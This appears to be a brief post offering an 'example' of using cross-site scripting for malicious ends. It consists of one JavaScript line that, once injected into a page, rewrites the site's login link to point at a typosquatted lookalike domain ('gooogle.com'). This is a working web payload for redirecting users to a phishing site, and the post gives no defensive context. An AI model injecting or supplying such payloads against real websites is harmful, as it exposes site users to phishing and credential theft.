An example of how you can easily use XSS for malicious things..

document.getElementById('ctl13_loginLink').href='http://www.gooogle.com';

